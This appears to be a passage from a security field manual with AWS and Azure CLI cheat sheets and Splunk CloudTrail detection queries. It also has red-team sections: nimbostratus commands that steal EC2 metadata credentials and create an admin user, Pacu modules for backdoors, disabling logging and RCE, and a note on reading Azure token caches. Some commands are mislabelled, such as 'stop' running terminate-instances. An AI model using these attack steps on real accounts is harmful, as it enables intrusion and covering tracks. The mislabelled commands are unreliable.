The AWS Command Line Interface is a unified tool to manage your AWS
services.
aws [options] <command> <subcommand> [parameters]
Command displays help for available top-level commands:
aws help
Command displays the available EC2 (Amazon EC2) specific commands:
aws ec2 help
Command displays detailed help for EC2 DescribeInstances operation.
aws ec2 describe-instances help
Cloudtrail - Logging and Auditing
List all trails
aws cloudtrail describe-trails
List all S3 buckets
aws s3 ls
Create a new trail
aws cloudtrail create-subscription --name awslog --s3-new-bucket
awslog2020
List the names of all trails
aws cloudtrail describe-trails --output text | cut -f 8
Get the status of a trail
aws cloudtrail get-trail-status --name awslog
Delete a trail
aws cloudtrail delete-trail --name awslog
Delete the S3 bucket of a trail
aws s3 rb s3://awslog2020 --force
Add tags to a trail, up to 10 tags allowed
21
aws cloudtrail add-tags --resource-id awslog --tags-list "Key=log-
type,Value=all"
List the tags of a trail
aws cloudtrail list-tags --resource-id-list
Remove a tag from a trail
aws cloudtrail remove-tags --resource-id awslog --tags-list
"Key=log-type,Value=all"
IAM USERS
**Limits = 5000 users, 100 group, 250 roles, 2 access keys per user
List all user's info
aws iam list-users
List all user's usernames
aws iam list-users --output text | cut -f 6
List current user's info
aws iam get-user
List current user's access keys
aws iam list-access-keys
Create new user
aws iam create-user --user-name aws-admin2
Create multiple new users from file
allUsers=$(cat ./user-names.txt)
for userName in $allUsers; do
aws iam create-user --user-name $userName
done
List all users
aws iam list-users --no-paginate
Get a specific user's info
aws iam get-user --user-name aws-admin2
Delete one user
aws iam delete-user --user-name aws-admin2
Delete all users
allUsers=$(aws iam list-users --output text | cut -f 6);
22
allUsers=$(cat ./user-names.txt)
for userName in $allUsers; do
aws iam delete-user --user-name $userName
done
IAM PASSWORD POLICY
List password policy
aws iam get-account-password-policy
Set password policy
aws iam update-account-password-policy \
--minimum-password-length 12 \
--require-symbols \
--require-numbers \
--require-uppercase-characters \
--require-lowercase-characters \
--allow-users-to-change-password
Delete password policy
aws iam delete-account-password-policy
IAM ACCESS KEYS
List all access keys
aws iam list-access-keys
List access keys of a specific user
aws iam list-access-keys --user-name aws-admin2
Create a new access key
aws iam create-access-key --user-name aws-admin2 --output text |
tee aws-admin2.txt
List last access time of an access key
aws iam get-access-key-last-used --access-key-id
AKIAINA6AJZY4EXAMPLE
Deactivate an access key
aws iam update-access-key --access-key-id AKIAI44QH8DHBEXAMPLE --
status Inactive --user-name aws-admin2
Delete an access key
aws iam delete-access-key --access-key-id AKIAI44QH8DHBEXAMPLE --
user-name aws-admin2
IAM GROUPS, POLICIES, MANAGED POLICIES
23
List all groups
aws iam list-groups
Create a group
aws iam create-group --group-name FullAdmins
Delete a group
aws iam delete-group --group-name FullAdmins
List all policies
aws iam list-policies
Get a specific policy
aws iam get-policy --policy-arn <value>
List all users, groups, and roles, for a given policy
aws iam list-entities-for-policy --policy-arn <value>
List policies, for a given group
aws iam list-attached-group-policies --group-name FullAdmins
Add a policy to a group
aws iam attach-group-policy --group-name FullAdmins --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
Add a user to a group
aws iam add-user-to-group --group-name FullAdmins --user-name aws-
admin2
List users, for a given group
aws iam get-group --group-name FullAdmins
List groups, for a given user
aws iam list-groups-for-user --user-name aws-admin2
Remove a user from a group
aws iam remove-user-from-group --group-name FullAdmins --user-name
aws-admin2
Remove a policy from a group
aws iam detach-group-policy --group-name FullAdmins --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
Delete a group
aws iam delete-group --group-name FullAdmins
24
S3 BUCKETS
List existing S3 buckets
aws s3 ls
Create a public facing bucket
aws s3api create-bucket --acl "public-read-write" --bucket
bucket_name
Verify bucket was created
aws s3 ls | grep bucket_name
Check for public facing s3 buckets
aws s3api list-buckets --query 'Buckets[*].[Name]' --output text |
xargs -I {} bash -c 'if [[ $(aws s3api get-bucket-acl --bucket {} -
-query
'"'"'Grants[?Grantee.URI==`http://acs.amazonaws.com/groups/global/A
llUsers` && Permission==`READ`]'"'"' --output text) ]]; then echo
{} ; fi'
Check for public facing s3 buckets & update them to be private
aws s3api list-buckets --query 'Buckets[*].[Name]' --output text |
xargs -I {} bash -c 'if [[ $(aws s3api get-bucket-acl --bucket {} -
-query
'"'"'Grants[?Grantee.URI==`http://acs.amazonaws.com/groups/global/A
llUsers` && Permission==`READ`]'"'"' --output text) ]]; then aws
s3api put-bucket-acl --acl "private" --bucket {} ; fi'
EC2 KEYPAIRS
List all keypairs
aws ec2 describe-key-pairs
Create a keypair
aws ec2 create-key-pair --key-name <value> --output text
Create a new local private / public keypair, using RSA 4096-bit
ssh-keygen -t rsa -b 4096
Import an existing keypair
aws ec2 import-key-pair --key-name keyname_test --public-key-
material file:///home/user/id_rsa.pub
Delete a keypair
aws ec2 delete-key-pair --key-name <value>
25
SECURITY GROUPS
List all security groups
aws ec2 describe-security-groups
Create a security group
aws ec2 create-security-group --vpc-id vpc-1a2b3c4d --group-name
web-access --description "web access"
List details about a security group
aws ec2 describe-security-groups --group-id sg-0000000
Open port 80, for all users
aws ec2 authorize-security-group-ingress --group-id sg-0000000 --
protocol tcp --port 80 --cidr 0.0.0.0/24
Open port 22, just for "my IP"
aws ec2 authorize-security-group-ingress --group-id sg-0000000 --
protocol tcp --port 80 --cidr <my_ip>/32
Remove a firewall rule from a group
aws ec2 revoke-security-group-ingress --group-id sg-0000000 --
protocol tcp --port 80 --cidr 0.0.0.0/24
Delete a security group
aws ec2 delete-security-group --group-id sg-00000000
IMAGES
List all private AMI's, ImageId and Name tags
aws ec2 describe-images --filter "Name=is-public,Values=false" --
query 'Images[].[ImageId, Name]' --output text | sort -k2
Delete an AMI, by ImageId
aws ec2 deregister-image --image-id ami-00000000
INSTANCES
List all instances (running, and not running)
aws ec2 describe-instances
List all instances running
aws ec2 describe-instances --filters Name=instance-state-
name,Values=running
Create a new instance
26
aws ec2 run-instances --image-id ami-f0e7d19a --instance-type
t2.micro --security-group-ids sg-00000000 --dry-run
Stop an instance
aws ec2 terminate-instances --instance-ids <instance_id>
List status of all instances
aws ec2 describe-instance-status
List status of a specific instance
aws ec2 describe-instance-status --instance-ids <instance_id>
List all running instance, Name tag and Public IP Address
aws ec2 describe-instances --filters Name=instance-state-
name,Values=running --query
'Reservations[].Instances[].[PublicIpAddress,
Tags[?Key==`Name`].Value | [0] ]' --output text | sort -k2
INSTANCES TAGS
List the tags of an instance
aws ec2 describe-tags
Add a tag to an instance
aws ec2 create-tags --resources "ami-1a2b3c4d" --tags
Key=name,Value=debian
Delete a tag on an instance
aws ec2 delete-tags --resources "ami-1a2b3c4d" --tags
Key=Name,Value=
CLOUDWATCH LOG GROUPS
Create a group
aws logs create-log-group --log-group-name "DefaultGroup"
List all log groups
aws logs describe-log-groups
aws logs describe-log-groups --log-group-name-prefix "Default"
Delete a group
aws logs delete-log-group --log-group-name "DefaultGroup"
CLOUDWATCH LOG STREAMS
27
Create a log stream
aws logs create-log-stream --log-group-name "DefaultGroup" --log-
stream-name "syslog"
List details on a log stream
aws logs describe-log-streams --log-group-name "syslog"
aws logs describe-log-streams --log-stream-name-prefix "syslog"
Delete a log stream
aws logs delete-log-stream --log-group-name "DefaultGroup" --log-
stream-name "Default Stream"
LAMBDA
Get Lambda function config
aws lambda get-function-configuration --function-name
<CUSTOM_FUNCTION_NAME> --profile <PROFILE_NAME>
SNS
Get Simple Notification Service configurations
aws sns list-topics --profile <PROFILE_NAME>
aws sns get-topic-attributes --topic-arn "arn:aws:sns:us-east-
1:945109781822:<custom_suffix>" --profile <PROFILE_NAME>
aws sns list-subscriptions --profile <PROFILE_NAME>
aws sns get-subscription-attributes --subscription-arn
"arn:aws:sns:us-east-1:945109781822:<custom_part>:6d92f5d3-f299-
485d-b6fb-1aca6d9a497c" --profile <PROFILE_NAME>
RDS
Get database instances
aws rds describe-db-security-groups --db-security-group-name
<DB_SG_NAME> --profile <PROFILE_NAME>
aws rds describe-db-instances --db-instance-identifier
<DB_INSTANCE_ID> --profile <PROFILE_NAME>
REFERENCE:
https://github.com/aws/aws-cli
https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html
https://gist.github.com/apolloclark/b3f60c1f68aa972d324b
A
A
AWS_Defend
28
BLUE TEAM
FORENSICS
CLOUD
CLOUDTRAIL MONITORING
Successful Logins
Example search below returns successful authentications without
multi-factor authentication. It can help detect suspicious logins
or accounts on which MFA is not enforced.
sourcetype="aws:cloudtrail" eventName="ConsoleLogin"
"responseElements.ConsoleLogin"=Success
"additionalEventData.MFAUsed"=No
Failed Logins by Source
Example search returns a table of failed authentication, including
the source IP, country, city and the reason why the authentication
failed.
sourcetype="aws:cloudtrail" eventName="ConsoleLogin"
"responseElements.ConsoleLogin"=Failure
| iplocation sourceIPAddress
| stats count by userName, userIdentity.accountId, eventSource,
sourceIPAddress, Country, City, errorMessage
| sort - count
CryptoMining GPU Instance Abuse
Example of Splunk search to identify GPU instances that have been
started.
sourcetype="aws:cloudtrail" eventSource="ec2.amazonaws.com"
eventName="RunInstances"
| spath output=instanceType path=requestParameters.instanceType
| spath output=minCount
path=requestParameters.instancesSet{}.items{}.minCount
| search instanceType IN ("p3.2xlarge", "p3.8xlarge",
"p3.16xlarge", "p3dn.24xlarge", "p2.xlarge", "p2.8xlarge",
"p2.16xlarge", "g3s.xlarge", "g3.4xlarge", "g3.8xlarge",
"g3.16xlarge")
| stats count by eventSource, eventName, awsRegion, userName,
userIdentity.accountId, sourceIPAddress, userIdentity.type,
requestParameters.instanceType,
responseElements.instancesSet.items{}.instanceId,
responseElements.instancesSet.items{}.networkInterfaceSet.items{}.p
rivateIpAddress, minCount
| fields - count
Security Group Configurations
Example search below looks for rules allowing inbound traffic on
port 22 from any IPs. Then we look for the associated instance IDs
and append them to the list.
29
sourcetype="aws:cloudtrail" eventSource="ec2.amazonaws.com"
eventName="AuthorizeSecurityGroupIngress"
| spath output=fromPort
path=requestParameters.ipPermissions.items{}.fromPort
| spath output=toPort
path=requestParameters.ipPermissions.items{}.toPort
| spath output=cidrIp
path=requestParameters.ipPermissions.items{}.ipRanges.items{}.cidrI
p
| spath output=groupId path=requestParameters.groupId
| spath output=accountId path=userIdentity.accountId
| spath output=type path=userIdentity.type
| search fromPort=22 toPort=22 AND cidrIp="0.0.0.0/0"
| spath output=ipPermissions
path=requestParameters.ipPermissions.items{}
| mvexpand ipPermissions
| fields - fromPort, toPort, cidrIp
| spath input=ipPermissions
| spath output=cidrIp path=ipRanges.items{}.cidrIp
input=ipPermissions
| join groupId
[ search index=aws eventName=RunInstances earliest=-7d
| fields
"responseElements.instancesSet.items{}.groupSet.items{}.groupId",
"responseElements.instancesSet.items{}.instanceId"
| rename
responseElements.instancesSet.items{}.groupSet.items{}.groupId as
groupId, "responseElements.instancesSet.items{}.instanceId" as
instanceId]
| stats values(instanceId) by groupId, userName, accountId, type,
sourceIPAddress, cidrIp, fromPort, toPort, ipProtocol
Network ACL Creation
Example below searches for creation of Network ACL rules allowing
inbound connections from any sources.
sourcetype="aws:cloudtrail" eventSource="ec2.amazonaws.com"
eventName=CreateNetworkAclEntry
| spath output=cidrBlock path=requestParameters.cidrBlock
| spath output=ruleAction path=requestParameters.ruleAction
| search cidrBlock=0.0.0.0/0 ruleAction=Allow
Detect Public S3 Buckets
Eample search looking for the PutBucketAcl event name where the
grantee URI is AllUsers we can identify and report the open
buckets.
sourcetype=aws:cloudtrail AllUsers eventName=PutBucketAcl
errorCode=Success
| spath output=userIdentityArn path=userIdentity.arn
| spath output=bucketName path=requestParameters.bucketName
30
| spath output=aclControlList
path=requestParameters.AccessControlPolicy.AccessControlList
| spath input=aclControlList output=grantee path=Grant{}
| mvexpand grantee
| spath input=grantee
| search Grantee.URI=*AllUsers
| rename userIdentityArn as user
| table _time, src,awsRegion Permission, Grantee.URI, bucketName,
user
VPC Traffic Mirroring
Capture & Inspect Network Traffic
aws ec2 create-traffic-mirror-filter --description "TCP Filter"
REFERENCE:
https://0x00sec.org/t/a-blue-team-guide-to-aws-cloudtrail-monitoring/15086
https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-
filter.html#create-traffic-mirroring-filter
A
A
AWS_Exploit
RED TEAM
EXPLOITATION
CLOUD
NIMBOSTRATUS
Install
git clone [email protected]:andresriancho/nimbostratus.git
cd nimbostratus
pip install -r requirements.txt
Prerequisites
Amazon AWS User account
Access Key
Boto Python 2.7 library
Insert VULN_URL into the utils/mangle.py file. Run dump-metada:
nimbostratus -v dump-ec2-metadata --mangle-
function=core.utils.mangle.mangle
Enumerate meta-data service of target using mangle function &
retrieve any access key credentials found on the meta-data server:
nimbostratus -v dump-credentials --mangle-
function=core.utils.mangle.mangle
31
Dump all permissions for the provided credentials. Use right after
dump-credentials to know which permissions are available:
nimbostratus dump-permissions --access-key=**************PXXQ --
secret-key=*****************************SUW --token
*****************************************JFE
Create a new user. Assigns a random name to the created user and
attaches a policy which looks like this:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Execute:
nimbostratus -v create-iam-user --access-key **************UFUA --
secret-key **************************************DDxSZ --token
****************************************tecaoI
Create RDS database snapshot:
nimbostratus -v snapshot-rds --access-key ********AUFUA --secret-
key *****************************yDDxSZ --token
************************************************K2g2QU= --rds-name
<DB_NAME> --password ********* --region us-west-2
PACU
Install
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
bash install.sh
python3 pacu.py
Starting Pacu
python3 pacu.py
>set_keys
#Key alias - Used internally within Pacu and is associated with a
AWS key pair. Has no bearing on AWS permissions.
#Access Key - Generated from an AWS User
#Secret Key - Secret key associated with access key. Omitted in
image.
#(Optional) Session Key - serves as a temporary access key to
access AWS services.
**provide a session name, after which you can add your compromised
credentials with the set_keys command and begin running modules
32
Running Modules
#list out modules
> ls
SYNTAX:> run <module_name> [--keyword-arguments]
PACU MODULES
iam__enum_assume_role
Enumerates existing roles in other AWS accounts to try and gain
access via misconfigurations.
iam__enum_users
Enumerates IAM users in a separate AWS account, given the account
ID.
s3__bucket_finder
Enumerates/bruteforces S3 buckets based on different parameters.
aws__enum_account
Enumerates data About the account itself.
aws__enum_spend
Enumerates account spend by service.
codebuild__enum
Enumerates CodeBuild builds and projects while looking for
sensitive data
ebs__enum_volumes_snapshots
Enumerates EBS volumes and snapshots and logs any without
encryption.
ec2__check_termination_protection
Collects a list of EC2 instances without termination protection.
ec2__download_userdata
Downloads User Data from EC2 instances.
ec2__enum
Enumerates a ton of relevant EC2 info.
glue__enum
Enumerates Glue connections, crawlers, databases, development
endpoints, and jobs.
iam__enum_permissions
Tries to get a confirmed list of permissions for the current (or
all) user(s).
iam__enum_users_roles_policies_groups
33
Enumerates users, roles, customer-managed policies, and groups.
iam__get_credential_report
Generates and downloads an IAM credential report.
inspector__get_reports
Captures vulnerabilties found when running a preconfigured
inspector report.
lambda__enum
Enumerates data from AWS Lambda.
lightsail__enum
Captures common data associated with Lightsail
iam__privesc_scan
An IAM privilege escalation path finder and abuser.
**WARNING: Due to the implementation in IAM policies, this module
has a difficult time parsing "NotActions". LATERAL_MOVE
cloudtrail__csv_injection
Inject malicious formulas/data into CloudTrail event history.
vpc__enum_lateral_movement
Looks for Network Plane lateral movement opportunities.
api_gateway__create_api_keys
Attempts to create an API Gateway key for any/all REST APIs that
are defined.
ebs__explore_snapshots
Restores and attaches EBS volumes/snapshots to an EC2 instance of
your choice.
ec2__startup_shell_script
Stops and restarts EC2 instances to execute code.
lightsail__download_ssh_keys
Downloads Lightsails default SSH key pairs.
lightsail__generate_ssh_keys
Creates SSH keys for available regions in AWS Lightsail.
lightsail__generate_temp_access
Creates temporary SSH keys for available instances in AWS
Lightsail.
systemsmanager__rce_ec2
Tries to execute code as root/SYSTEM on EC2 instances.
**NOTE: Linux targets will run the command using their default
shell (bash/etc.) and Windows hosts will run the command using
34
PowerShell, so be weary of that when trying to run the same command
against both operating systems.Sometimes Systems Manager Run
**Command can delay the results of a call by a random amount.
Experienced 15 minute delays before command was executed on the
target.
ec2__backdoor_ec2_sec_groups
Adds backdoor rules to EC2 security groups.
iam__backdoor_assume_role
Creates assume-role trust relationships between users and roles.
iam__backdoor_users_keys
Adds API keys to other users.
iam__backdoor_users_password
Adds a password to users without one.
s3__download_bucket
Enumerate and dumps files from S3 buckets.
cloudtrail__download_event_history
Downloads CloudTrail event history to JSON files
to ./sessions/[current_session_name]/downloads/cloudtrail_[region]_
event_history_[timestamp].json.
**NOTE: This module can take a very long time to complete. A rough
estimate is about 10000 events retrieved per five minutes.
cloudwatch__download_logs
Captures CloudWatch logs and downloads them to the session
downloads folder
detection__disruption
Disables, deletes, or minimizes various logging/monitoring
services.
detection__enum_services
Detects monitoring and logging capabilities.
elb__enum_logging
Collects a list of Elastic Load Balancers without access logging
and write a list of ELBs with logging disabled
to ./sessions/[current_session_name]/downloads/elbs_no_logs_[timest
amp].csv.
guardduty__whitelist_ip
Adds an IP address to the list of trusted IPs in GuardDuty.
**NOTE: This will not erase any existing GuardDuty findings, it
will only prevent future findings related to the included IP
addresses.
35
**WARNING: Only one list of trusted IP addresses is allowed per
GuardDuty detector. This module will prompt you to delete an
existing list if you would like, but doing so could have unintended
bad consequences on the target AWS environment.
waf__enum
Detects rules and rule groups for WAF.
REFERENCE:
https://andresriancho.github.io/nimbostratus/
https://www.cloudsecops.com/post-exploitation-in-aws/
https://github.com/RhinoSecurityLabs/pacu
https://github.com/puresec/awesome-serverless-security/
https://zoph.me/posts/2019-12-16-aws-security-toolbox/
https://know.bishopfox.com/research/privilege-escalation-in-aws
https://github.com/BishopFox/smogcloud
https://github.com/bishopfox/dufflebag
https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/
A
A
AWS_Hardening
BLUE TEAM
CONFIGURATION
CLOUD
AWS Best Practices Rules
https://www.cloudconformity.com/knowledge-base/aws/
A
A
AWS_Terms
ALL
GENERAL
CLOUD
AWS IoT: AWS IoT is a managed cloud service that lets connected
devices easily and securely interact with cloud applications and
other devices.
Certificate Manager: AWS Certificate Manager easily provision,
manage, and deploy Secure Sockets Layer/Transport Layer Security
(SSL/TLS) certificates for use with AWS services.
CloudFormation: AWS CloudFormation lets you create and update a
collection of related AWS resources in a predictable fashion.
CloudFront: Amazon CloudFront provides a way to distribute
content to end-users with low latency and high data transfer
speeds.
CloudSearch: AWS CloudSearch is a fully managed search service
for websites and apps.
CloudTrail: AWS CloudTrail provides increased visibility into
user activity by recording API calls made on your account.
36
Data Pipeline: AWS Data Pipeline is a lightweight orchestration
service for periodic, data-driven workflows.
DMS: AWS Database Migration Service (DMS) helps you migrate
databases to the cloud easily and securely while minimizing
downtime.
DynamoDB: Amazon DynamoDB is a scalable NoSQL data store that
manages distributed replicas of your data for high availability.
EC2: Amazon Elastic Compute Cloud (EC2) provides resizable
compute capacity in the cloud.
EC2 Container Service: Amazon ECS allows you to easily run and
manage Docker containers across a cluster of Amazon EC2
instances.
Elastic Beanstalk: AWS Elastic Beanstalk is an application
container for deploying and managing applications.
ElastiCache: Amazon ElastiCache improves application performance
by allowing you to retrieve information from an in-memory
caching system.
Elastic File System: Amazon Elastic File System (Amazon EFS) is
a file storage service for Amazon Elastic Compute Cloud (Amazon
EC2) instances.
Elasticsearch Service: Amazon Elasticsearch Service is a managed
service that makes it easy to deploy, operate, and scale Elasti-
csearch, a popular open-source search and analytics engine.
Elastic Transcoder: Amazon Elastic Transcoder lets you convert
your media files in the cloud easily, at low cost, and at scale
EMR: Amazon Elastic MapReduce lets you perform big data tasks
such as web indexing, data mining, and log file analysis.
Glacier: Amazon Glacier is a low-cost storage service that
provides secure and durable storage for data archiving and
backup.
IAM: AWS Identity and Access Management (IAM) lets you securely
control access to AWS services and resources.
Inspector: Amazon Inspector enables you to analyze the behavior
of the applications you run in AWS and helps you to identify
potential security issues.
Kinesis: Amazon Kinesis services make it easy to work with real-
time streaming data in the AWS cloud.
Lambda: AWS Lambda is a compute service that runs your code in
response to events and automatically manages the compute
resources for you.
Machine Learning: Amazon Machine Learning is a service that
enables you to easily build smart applications.
OpsWorks: AWS OpsWorks is a DevOps platform for managing applic-
ations of any scale or complexity on the AWS cloud.
RDS: Amazon Relational Database Service (RDS) makes it easy to
set up, operate, and scale familiar relational databases in the
cloud.
Redshift: Amazon Redshift is a fast, fully managed, petabyte--
scale data warehouse that makes it cost-effective to analyze all
your data using your existing business intelligence tools.
37
Route 53: Amazon Route 53 is a scalable and highly available
Domain Name System (DNS) and Domain Name Registration service.
SES: Amazon Simple Email Service (SES) enables you to send and
receive email.
SNS: Amazon Simple Notification Service (SNS) lets you publish
messages to subscribers or other applications.
Storage Gateway: AWS Storage Gateway securely integrates on-pre-
mises IT environments with cloud storage for backup and disaster
recovery.
SQS: Amazon Simple Queue Service (SQS) offers a reliable, highly
scalable, hosted queue for storing messages.
SWF: Amazon Simple Workflow (SWF) coordinates all of the
processing steps within an application.
S3: Amazon Simple Storage Service (S3) can be used to store and
retrieve any amount of data.
VPC: Amazon Virtual Private Cloud (VPC) lets you launch AWS
resources in a private, isolated cloud.
REFERENCE:
https://www.northeastern.edu/graduate/blog/aws-terminology/
A
A
AWS_Tricks
ALL
MISC
CLOUD
SUBNETS
Creating A Subnet
aws ec2 create-subnet --vpc-id <vpc_id> --cidr-block <cidr_block> -
-availability-zone <availability_zone> --region <region>
Auto Assigning Public IPs To Instances In A Public Subnet
aws ec2 modify-subnet-attribute --subnet-id <subnet_id> --map-
public-ip-on-launch --region <region>
VPC
Creating A VPC
aws ec2 create-vpc --cidr-block <cidr_block> --regiosn <region>
Allowing DNS hostnames
aws ec2 modify-vpc-attribute --vpc-id <vpc_id> --enable-dns-
hostnames "{\"Value\":true}" --region <region>
NAT
38
Setting Up A NAT Gateway
#Allocate Elastic IP
aws ec2 allocate-address --domain vpc --region <region>
#AllocationId to create the NAT Gateway for the public zone
aws ec2 create-nat-gateway --subnet-id <subnet_id> --allocation-id
<allocation_id> --region <region>
S3 API
Listing Only Bucket Names
aws s3api list-buckets --query 'Buckets[].Name'
Getting a Bucket Region
aws s3api get-bucket-location --bucket <bucket_name>
Syncing a Local Folder with a Bucket
aws s3 sync <local_path> s3://<bucket_name>
Copying Folders
aws s3 cp <folder_name>/ s3://<bucket_name>/ --recursive
To exclude files from copying
aws s3 cp <folder_name>/ s3://<bucket_name>/ --recursive --exclude
"<file_name_or_a_wildcard_extension>"
To exclude a folder from copying
aws s3 cp example.com/ s3://example-backup/ --recursive --exclude
".git/*"
Removing a File from a Bucket
aws s3 rm s3://<bucket_name>/<file_name>
Deleting a Bucket
aws s3 rb s3://<bucket_name> --force
Emptying a Bucket
aws s3 rm s3://<bucket_name>/<key_name> --recursive
EC2 Instance
Creating AMI Without Rebooting the Machine
aws ec2 create-image --instance-id <instance_id> --name "image-
$(date +'%Y-%m-%d_%H-%M-%S')" --description "image-$(date
+'%Y-%m-%d_%H-%M-%S')" --no-reboot
39
LAMBDA
Using AWS Lambda with Scheduled Events
sid=Sid$(date +%Y%m%d%H%M%S); aws lambda add-permission --
statement-id $sid --action 'lambda:InvokeFunction' --principal
events.amazonaws.com --source-arn
arn:aws:events:<region>:<arn>:rule/AWSLambdaBasicExecutionRole --
function-name function:<awsents> --region <region>
Deleting Unused Volumes
for x in $(aws ec2 describe-volumes --filters
Name=status,Values=available --profile <your_profile_name>|grep
VolumeId|awk '{print $2}' | tr ',|"' ' '); do aws ec2 delete-volume
--region <region> --volume-id $x; done
With "profile":
for x in $(aws ec2 describe-volumes --filters
Name=status,Values=available --profile <your_profile_name>|grep
VolumeId|awk '{print $2}' | tr ',|"' ' '); do aws ec2 delete-volume
--region <region> --volume-id $x --profile <your_profile_name>;
done
REFERENCE:
https://github.com/eon01/AWS-CheatSheet
A
A
AZURE CLI
RED/BLUE TEAM
RECON/ADMIN
CLOUD
Azure command-line interface (Azure CLI) is an environment to
create and manage Azure resources.
Login in CLI
az login -u [email protected]
List accounts
az account list
Set subscription
az account set --subscription "xxx"
List all locations
az account list-locations
List all resource groups
az resource list
40
Get version of the CLI
azure --version
Get help
azure help
Get all available VM sizes
az vm list-sizes --location <region>
Get all available VM images for Windows and Linux
az vm image list --output table
Create a Ubuntu Linux VM
az vm create --resource-group myResourceGroup --name myVM --image
ubunlts
Create a Windows Datacenter VM
az vm create --resource-group myResourceGroup --name myVM --image
win2016datacenter
Create a Resource group
az group create --name myresourcegroup --location eastus
Create a Storage account
az storage account create -g myresourcegroup -n mystorageaccount -l
eastus --sku Standard_LRS
Permanently delete a resource group
az group delete --name <myResourceGroup>
List VMs
az vm list
Start a VM
az vm start --resource-group myResourceGroup --name myVM
Stop a VM
az vm stop --resource-group myResourceGroup --name myVM
Deallocate a VM
az vm deallocate --resource-group myResourceGroup --name myVM
Restart a VM
az vm restart --resource-group myResourceGroup --name myVM
41
Redeploy a VM
az vm redeploy --resource-group myResourceGroup --name myVM
Delete a VM
az vm delete --resource-group myResourceGroup --name myVM
Create image of a VM
az image create --resource-group myResourceGroup --source myVM --
name myImage
Create VM from image
az vm create --resource-group myResourceGroup --name myNewVM --
image myImage
List VM extensions
az vm extension list --resource-group azure-playground-resources --
vm-name azure-playground-vm
Delete VM extensions
az vm extension delete --resource-group azure-playground-resources
--vm-name azure-playground-vm --name bootstrapper
Create a Batch account
az batch account create -g myresourcegroup -n mybatchaccount -l
eastus
Create a Storage account
az storage account create -g myresourcegroup -n mystorageaccount -l
eastus --sku Standard_LRS
Associate Batch with storage account.
az batch account set -g myresourcegroup -n mybatchaccount --
storage-account mystorageaccount
Authenticate directly against the batch account
az batch account login -g myresourcegroup -n mybatchaccount
Display the details of our created batch account
az batch account show -g myresourcegroup -n mybatchaccount
Create a new application
az batch application create --resource-group myresourcegroup --name
mybatchaccount --application-id myapp --display-name "My
Application"
Add zip files to application
42
az batch application package create --resource-group
myresourcegroup --name mybatchaccount --application-id myapp --
package-file my-application-exe.zip --version 1.0
Assign the application package as the default version
az batch application set --resource-group myresourcegroup --name
mybatchaccount --application-id myapp --default-version 1.0
Retrieve a list of available images and node agent SKUs.
az batch pool node-agent-skus list
Create new Linux pool with VM config
az batch pool create --id mypool-linux --vm-size Standard_A1 --
image canonical:ubuntuserver:16.04.0-LTS --node-agent-sku-id
“batch.node.ubuntu 16.04”
Resize the pool to start up VMs
az batch pool resize --pool-id mypool-linux --target-dedicated 5
Check the status of the pool
az batch pool show --pool-id mypool-linux
List the compute nodes running in a pool
az batch node list --pool-id mypool-linux
If a particular node in the pool is having issues, it can be
rebooted or reimaged. A typical node ID will be in the format 'tvm-
xxxxxxxxxx_1-'
az batch node reboot --pool-id mypool-linux --node-id tvm-123_1-
20170316t000000z
Re-allocate work to another node
az batch node delete --pool-id mypool-linux --node-list tvm-123_1-
20170316t000000z tvm-123_2-20170316t000000z --node-deallocation-
option requeue
Create a new job to encapsulate the tasks that we want to add
az batch job create --id myjob --pool-id mypool
Add tasks to the job
az batch task create --job-id myjob --task-id task1 --application-
package-references myapp#1.0 --command-line "/bin/<shell> -c
/path/to/script.sh"
Add multiple tasks at once
az batch task create --job-id myjob --json-file tasks.json
43
Update job automatically marked as completed once all the tasks are
finished
az batch job set --job-id myjob --on-all-tasks-complete
terminateJob
Monitor the status of the job
az batch job show --job-id myjob
Monitor the status of a task.
az batch task show --job-id myjob --task-id task1
Delete a job
az batch job delete --job-id myjob
Managing Containers
#If you HAVE AN SSH run this to create an Azure Container Service
Cluster (~10 mins)
az acs create -n acs-cluster -g acsrg1 -d applink789
#If you DO NOT HAVE AN SSH run this to create an Azure Container
Service Cluster (~10 mins)
az acs create -n acs-cluster -g acsrg1 -d applink789 --generate-
ssh-keys
List clusters under your subscription
az acs list --output table
List clusters in a resource group
az acs list -g acsrg1 --output table
Display details of a container service cluster
az acs show -g acsrg1 -n acs-cluster --output list
Scale using ACS
az acs scale -g acsrg1 -n acs-cluster --new-agent-count 4
Delete a cluster
az acs delete -g acsrg1 -n acs-cluster
REFERENCE:
https://github.com/ferhaty/azure-cli-cheatsheet
https://gist.github.com/yokawasa/fd9d9b28f7c79461f60d86c23f615677
A
A
44
AZURE_Defend
BLUE TEAM
THREAT HUNTING
CLOUD
Azure Sentinel Hunt Query Resource
https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries
Microsoft Azure Sentinel is a scalable, cloud-native, security
information event management (SIEM) and security orchestration
automated response (SOAR) solution.
Uncoder: One common language for cyber security
https://uncoder.io/
Uncoder.IO is the online translator for SIEM saved searches,
filters, queries, API requests, correlation and Sigma rules to help
SOC Analysts, Threat Hunters and SIEM Engineers. Easy, fast and
private UI you can translate the queries from one tool to another
without a need to access to SIEM environment and in a matter of
just few seconds.
Uncoder.IO supports rules based on Sigma, ArcSight, Azure Sentinel,
Elasticsearch, Graylog, Kibana, LogPoint, QRadar, Qualys, RSA
NetWitness, Regex Grep, Splunk, Sumo Logic, Windows Defender ATP,
Windows PowerShell, X-Pack Watcher.
REFERENCE:
https://docs.microsoft.com/en-us/azure/kusto/query/index
https://notebooks.azure.com/
https://posts.specterops.io/detecting-attacks-within-azure-bdc40f8c0766
https://logrhythm.com/six-tips-for-securing-your-azure-cloud-environment/
A
A
AZURE_Exploit
RED TEAM
EXPLOITATION
CLOUD
AZURE USER LOCAL ARTIFACTS
Azure File/Folder Created Locally
#TokenCache.dat is cleartext file containing the AccessKey; inject
into user's process to view contents of file
C:\Users\<USERNAME>\.Azure\TokenCache.dat
PowerShell Azure Modules Installed
#Indications the target user has installed Azure modules
C:\Program Files\windowsPowerShell\Modules\Az.*
C:\Users\<USERNAME>\Documents\WindowsPowerShell\Modules\Az.*
C:\Windows\system32\windowsPowerShell\v1.0\Modules\Az.*
Search for Save-AzContent Usage & File Location
PS> Get-PSReadLineOption
45
